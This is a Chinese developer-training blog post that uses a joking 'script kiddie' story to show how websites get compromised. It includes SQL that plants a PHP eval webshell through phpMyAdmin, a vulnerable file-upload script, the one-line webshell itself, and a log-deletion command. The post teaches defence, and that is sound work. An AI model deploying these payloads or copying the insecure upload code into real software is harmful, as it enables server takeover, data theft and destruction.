@hotjp
2018-03-29T14:46:24.000000Z
字数 3563
阅读 2132
网络安全
培训
相信各位都听说过木马,病毒,嗅探、入侵、渗透等网站应用程序入侵方面名词,作为正经的开发者如何防御入侵就成了一个值得关注的话题。
常见的入侵模式有以下几种:
服务端入侵(操作系统、应用容器)
站点应用入侵
网络传输入侵
入侵服务器和小偷进房子偷东西的思路是相同的,核心是有经济利益,有价值。
小偷的行为模式:
- 找方式进屋子(破解门锁或者从窗户阳台翻进去)
- 找到有价值的物品带走或者做标记
- 留下一个方便下次进来的方式(弄坏窗户插销)
- 避免被屋主发现(清理脚印,物品放置回原位置),离开。
入侵者行为模式:
- 找方式入侵站点或服务器(各种入侵模式搭配,应用层面主要是:上传恶意代码,sql注入,csrf,xss等)
- 找到资料文件或者数据库内的敏感数据位置
- 留下后门(留下木马,开放方便入侵的端口,建立管理员账户等)
- 避免被站长或服务器管理者发现(清理日志),离开。
在整个过程中最重要及耗时的步骤在第一步,无法执行第一步的操作后面的所有入侵都不会发生,那么作为站点应用开发人员如何能够防止入侵者达成目标,如何阻止"脚本boys"在服务器为非作歹,保护站点财产呢?
整个服务器的安全评估遵循木桶理论,取决于整个服务器中最弱的一环。
对于一次完整的服务器入侵而言,至高结果就是掌握服务器的控制权,那么“走门”还是“爬窗”自然就不重要了。有许多优质的嗅探工具可以对服务器进行完整的扫描评估,告诉你“哪块玻璃最脆”、“哪扇门没关”,这些不是我们本次的主要内容,本次主要的内容是:
如何避免站点应用成为短板
这是一个简单活泼不沉重的话题,所以让我们跟着某不知名"脚本boy"一起,欺负别人吧。
我是一名“脚本boy”,只会进行“百度式入侵”,手里有一些别人做的工具,但我切实对某些服务器进行了一定程度的“攻击”,并产生了某些“结果”。
《某脚本boy语录》
黑客世界中的技术天梯相对陡峭,有非常多的技术壁垒,各种层面的限制,技术迭代速度约等于当前目标服务器的最旧版本服务,很多人终其一生不得门路,到老也是一名“脚本boy”。
黑客世界中的“开发”思路更为奇葩,为了避免被各种安全软件扫描,需要各种奇技淫巧躲避搜查,“降低代码可读性及语意性”就成了避免被发现,避免被同行读懂的最好办法,于是,我们的工具代码可能是.....这样的
没错是base64,但是解码某段后是这样的
好吧这是什么编码。。恕我深入不下去了,(”脚本boy“的根本成因)
还有自成一个应用的,一个文件几百K,里面全是“锟斤拷”。
更不用说其他二进制工具,病毒木马,病毒,后门远控等各种工具了,能用就行,不求甚解
本次内容主要演示两种入侵思路,跳过了嗅探环节(这部分最有价值),简化了入侵的耗时和难度,靶机配置win7,Apache+php+MySQL。
恕我直言,被植入木马的,都是肉鸡
以路径最短的方式演示流程:
1. sql注入
2. 不安全表单文件上传文件夹有执行权限
sql注入是’手写‘功能的开发者常见的漏洞点,为简化流程,第一个例子从数据库管理工具入手直观的入侵。(我不会承认是没时间写demo的)
小A在一家速成培训学了一个月之后,找到了一份php运维的工作,给公司维护一个网站。为了方便管理数据库,他在服务器放置了一个WEB端数据库管理工具“phpmyadmin”。(甚至连默认密码都没有修改)
成功进入之后,我们来做点坏事:
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php @eval($_POST[action]);?>");
select cmd from a into outfile "D:/phpStudy/WWW/d.php";
Drop TABLE IF EXISTS a;
outfile语句的文件系统地址可以通过故意访问错误的文件路径来获得,此处是一个常见漏洞点,服务器对文件错误信息的返回情况也会影响站点安全。
这里有一部分内容只在培训期间演示,未能到场的同事可以私下了解。
时间穿越到了连接服务器之后,我们就可以执行相关命令,比如
我们就有了一个管理员账号,linux服务器可能需要使用ssh链接但是win服务器一般支持远程连接(mstsc.exe),administrators组内的用户是有密码的账户就可直接远程登录,我们甚至可以删除其他管理员账户,清空硬盘,复制数据库。
小A哼着小曲上班的时候,老板问他网站为啥打不开了,小A试着连接服务器,联系服务器提供商,被告知服务器被入侵,不仅他们的网站,其他网站也都全没了,因为没有做站点备份,小A丢掉了这份悠闲的工作,愤愤的暗骂服务器提供商太垃圾,边喊着倒霉,边找下一份工作去了。
从安闲舒适的”某个人企业安全相关运维工作“被解聘后,小A发挥特长,编造了一份完美简历成功唬住老板,找到了一份php开发工程师的工作。
老板让小A做些新功能
小A最喜欢在环境部署的时候执行以下命令以保证程序不会出现权限不足的问题。
> cd /xxxx/WWW
> chmod 777
小A最喜欢的就是“百度一下,你就知道”的代码,并且直接放进项目里用。
那么就很容易遇到以下代码。
<?php
//1.接收提交文件的用户
$username=$_POST['username'];
$fileintro=$_POST['fileintro'];
//我们这里需要使用到 $_FILES
/*echo "<pre>";
print_r($_FILES);
echo "</pre>";*/
//其实我们在上传文件时,点击上传后,数据由http协议先发送到apache服务器那边,这里apache服务器已经将上传的文件存放到了服务器下的C:\windows\Temp目录下了。这时我们只需转存到我们需要存放的目录即可。
//php中自身对上传的文件大小存在限制默认为2M
//获取文件的大小
$file_size=$_FILES['myfile']['size'];
if($file_size>2*1024*1024) {
echo "文件过大,不能上传大于2M的文件";
exit();
}
$file_type=$_FILES['myfile']['type'];
//判断是否上传成功(是否使用post方式上传)
if(is_uploaded_file($_FILES['myfile']['tmp_name'])) {
//把文件转存到你希望的目录(不要使用copy函数)
$uploaded_file=$_FILES['myfile']['tmp_name'];
//我们给每个用户动态的创建一个文件夹
$user_path=$_SERVER['DOCUMENT_ROOT']."/".$username;
//判断该用户文件夹是否已经有这个文件夹
if(!file_exists($user_path)) {
mkdir($user_path);
}
$move_to_file=$user_path."/".$_FILES['myfile']['name'];
if(move_uploaded_file($uploaded_file,iconv("utf-8","gb2312",$move_to_file))) {
echo $_FILES['myfile']['name']."上传成功";
} else {
echo "上传失败";
}
} else {
echo "上传失败";
}
?>
emmmmm...真是一段好复杂的代码,拷来用一下,前端上传测试一下,成功!老板不给我加薪都对不起我的机智。
BUT,小A没有做文件类型判断,没有做上传目录分离,随便上传一个文件到站点的一个文件夹下,并且不控制执行权限,啧啧啧。
本地写好我们的一句话,还是直接上传木马文件去服务器,让他跪下叫爸爸!
<?php @eval($_POST['action']);?>
后面的事情,大家可能就都猜到了...作为根正苗红的黑客我自然是直接删掉了服务器文件和备份。
但是我忘记擦掉服务器日志,也没有使用跳板或者肉鸡进行攻击
rm-rf /log/
公司的网安专员通过日志定位了问题点,在其他服务器上找了个旧备份回滚了一个大版本,小A领了便当回家卖红薯了。
--- End ---
高明的入侵者会尽量减少自己的行为暴露,会在控制服务器之后将其加入”战利品“列表,并不会直观破坏性的销毁数据,而是象水蛭一般,待在阴暗处谋取长期更大的利益。
在实现客户的各种奇思妙想之时,不要忘记保护实际使用者的安全和隐私。
附上一个个人很喜欢的黑客行为游戏《Hacknet》,也希望大家写的bug都没代码,emmm...大家写的代码都没bug。
谢谢~